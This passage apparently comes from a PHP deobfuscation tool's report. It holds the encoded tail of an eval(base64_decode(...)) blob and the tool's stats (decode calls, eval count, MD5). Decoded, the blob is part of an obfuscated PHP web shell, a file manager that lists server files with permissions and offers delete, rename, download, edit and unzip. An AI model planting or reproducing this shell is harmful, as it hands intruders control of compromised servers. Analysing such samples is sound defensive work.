GQ+Ii5vd25lcigkbG9rYXNpLiIvIi4kZGlyKS4iPC90ZD4NCiAgICA8dGQ+PGNlbnRlcj4iOw0KICAgIGlmKGlzX3dyaXRhYmxlKCRsb2thc2kuIi8iLiRkaXIpKSBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPic7DQogICAgZWxzZWlmKCFpc19yZWFkYWJsZSgkbG9rYXNpLiIvIi4kZGlyKSkgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+JzsNCiAgICBlY2hvIHN0YXR1c255YSgkbG9rYXNpLiIvIi4kZGlyKTsNCiAgICBpZihpc193cml0YWJsZSgkbG9rYXNpLiIvIi4kZGlyKSB8fCAhaXNfcmVhZGFibGUoJGxva2FzaS4iLyIuJGRpcikpIGVjaG8gJzwvZm9udD4nOw0KDQogICAgZWNobyAiPC9jZW50ZXI+PC90ZD4NCiAgICA8dGQ+PGNlbnRlcj48Zm9ybSBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiP3BpbGloYW4mcGF0aD0kbG9rYXNpXCI+DQogICAgPHNlbGVjdCBuYW1lPVwicGlsaWhcIj4NCiAgICA8b3B0aW9uIHZhbHVlPVwiXCI+PC9vcHRpb24+DQogICAgPG9wdGlvbiB2YWx1ZT1cImhhcHVzXCI+RGVsZXRlPC9vcHRpb24+DQogICAgPG9wdGlvbiB2YWx1ZT1cImdhbnRpbmFtYVwiPlJlbmFtZTwvb3B0aW9uPg0KICAgIDwvc2VsZWN0Pg0KICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInR5cGVcIiB2YWx1ZT1cImRpclwiPg0KICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cIm5hbWVcIiB2YWx1ZT1cIiRkaXJcIj4NCiAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwYXRoXCIgdmFsdWU9XCIkbG9rYXNpLyRkaXJcIj4NCiAgICA8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiZ2FzXCIgdmFsdWU9XCI+XCIgLz4NCiAgICA8L2Zvcm0+PC9jZW50ZXI+PC90ZD4NCiAgICA8L3RyPiI7DQp9DQoNCmVjaG8gJzx0ciBjbGFzcz0iZmlyc3QiPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjwvdHI+JzsNCmZvcmVhY2goJGxva2FzaW55YSBhcyAkZmlsZSkgew0KICAgIGlmKCFpc19maWxlKCIkbG9rYXNpLyRmaWxlIikpIGNvbnRpbnVlOw0KICAgICRzaXplID0gZmlsZXNpemUoIiRsb2thc2kvJGZpbGUiKS8xMDI0Ow0KICAgICRzaXplID0gcm91bmQoJHNpemUsMyk7DQogICAgaWYoJHNpemUgPj0gMTAyNCl7DQogICAgJHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOw0KfSBlbHNlIHsNCiAgICAkc2l6ZSA9ICRzaXplLicgS0InOw0KfQ0KDQplY2hvICI8dHI+DQo8dGQ+Ii5jZWtmaWxlKCRsb2thc2kuIi8iLiRmaWxlKS4iPGEgaHJlZj1cIj9maWxlbG9jPSRsb2thc2kvJGZpbGUmcGF0aD0kbG9rYXNpXCI+JGZpbGU8L2E+PC90ZD4NCjx0ZD48Y2VudGVyPiIuJHNpemUuIjwvY2VudGVyPjwvdGQ+DQo8dGQ+PGNlbnRlcj4iLmZpbGVkYXRlKCRsb2thc2kuIi8iLiRmaWxlKS4iPC9jZW50ZXI+PC90ZD4NCjx0ZD4iLm93bmVyKCRsb2thc2kuIi8iLiRmaWxlKS4iPC90ZD4NCjx0ZD48Y2VudGVyPiI7DQppZihpc193cml0YWJsZSgiJGxva2FzaS8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPic7DQplbHNlaWYoIWlzX3JlYWRhYmxlKCIkbG9rYXNpLyRmaWxlIikpIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPic7DQplY2hvIHN0YXR1c255YSgiJGxva2FzaS8kZmlsZSIpOw0KaWYoaXNfd3JpdGFibGUoIiRsb2thc2kvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRsb2thc2kvJGZpbGUiKSkgZWNobyAnPC9mb250Pic7DQplY2hvICI8L2NlbnRlcj48L3RkPjx0ZD48Y2VudGVyPg0KPGZvcm0gbWV0aG9kPVwicG9zdFwiIGFjdGlvbj1cIj9waWxpaGFuJnBhdGg9JGxva2FzaVwiPg0KPHNlbGVjdCBuYW1lPVwicGlsaWhcIj50YWJsZQ0KPG9wdGlvbiB2YWx1ZT1cIlwiPi1TZWxlY3QtPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPVwiaGFwdXNcIj5EZWxldGU8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9XCJkdW5sdXRcIj5Eb3dubG9hZDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT1cImdhbnRpbmFtYVwiPlJlbmFtZTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT1cImVkaXRcIj5FZGl0PC9vcHRpb24+IjsNCmlmIChjbGFzc19leGlzdHMoIlppcEFyY2hpdmUiKSkgew0KICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ1bnppcFwiPlVuemlwPC9vcHRpb24+IjsNCn0NCmVjaG8gIjwvc2VsZWN0Pg0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwiZmlsZVwiPg0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiJGZpbGVcIj4NCjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInBhdGhcIiB2YWx1ZT1cIiRsb2thc2kvJGZpbGVcIj4NCjxpbnB1dCB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJnYXNcIiB2YWx1ZT1cIj5cIiAvPg0KPC9mb3JtPjwvY2VudGVyPjwvdGQ+DQo8L3RyPiI7DQp9DQplY2hvICc8L3RyPjwvdGQ+PC90YWJsZT48L3RhYmxlPic7DQphdXRob3IoKTsNCg0KZnVuY3Rpb24gc3RhdHVzbnlhKCRmaWxlKXsNCiRpemluID0gc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRmaWxlKSksIC00KTsNCnJldHVybiAkaXppbjsNCn0NCj8+CQ0KPC9ib2R5Pg0KPC9odG1sPg=="));?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 46916a41fa3614739e6ba34291b778c0
Eval Count 1
Decode Time 213 ms